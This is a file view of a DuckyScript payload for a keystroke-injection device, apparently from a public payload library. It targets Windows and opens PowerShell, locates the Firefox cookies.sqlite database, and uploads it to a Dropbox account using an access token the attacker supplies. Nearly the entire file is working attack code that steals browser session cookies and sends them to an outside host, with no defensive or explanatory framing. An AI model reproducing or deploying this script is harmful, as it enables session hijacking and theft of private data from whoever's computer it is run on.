omg-payloads/payloads/library/exfiltration/Export_Cookies_From_Firefox/payload.txt

48 lines
1.7 KiB
Plaintext
Raw Normal View History

2023-06-12 10:10:53 +00:00
REM ####################################################
REM # |
REM # Title : Export Firefox Cookies Database |
REM # Author : Aleff |
REM # Version : 1.0 |
REM # Category : Exfiltration |
REM # Target : Windows 10-11 |
REM # |
REM ####################################################
REM Requirements:
REM - Firefox must be installed
REM You must define your Dropbox accessToken or modify the exfiltration modality. Replace just the example word with your token.
DEFINE DROPBOX_ACCESS_TOKEN "example"
2023-06-12 18:29:47 +00:00
DEFAULT_DELAY 500
2023-06-12 10:10:53 +00:00
GUI r
2023-06-12 18:29:47 +00:00
STRINGLN powershell
2023-06-12 10:10:53 +00:00
DELAY 2000
REM Get cookies DB path
2023-06-12 18:29:47 +00:00
STRINGLN_BLOCK
2023-06-12 10:10:53 +00:00
$firefoxProfilePath = Join-Path -Path $env:APPDATA -ChildPath 'Mozilla\Firefox\Profiles'
$firefoxProfile = Get-ChildItem -Path $firefoxProfilePath | Where-Object {$_.Name -like "*default-release"}
$filePath = Join-Path -Path $firefoxProfile.FullName -ChildPath 'cookies.sqlite'
END_STRINGLN
REM Setting about exfiltration
2023-06-12 18:29:47 +00:00
STRINGLN $accessToken = DROPBOX_ACCESS_TOKEN
2023-06-12 10:10:53 +00:00
ENTER
2023-06-12 18:29:47 +00:00
STRINGLN_BLOCK
2023-06-12 10:10:53 +00:00
$uploadUrl = "https://content.dropboxapi.com/2/files/upload"
$dropboxFilePath = "/cookies_exported.sqlite"
$headers = @{}
$headers.Add("Authorization", "Bearer $accessToken")
$headers.Add("Dropbox-API-Arg", '{"path":"' + $dropboxFilePath + '","mode":"add","autorename":true,"mute":false}')
$headers.Add("Content-Type", "application/octet-stream")
Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $filePath; exit;
END_STRINGLN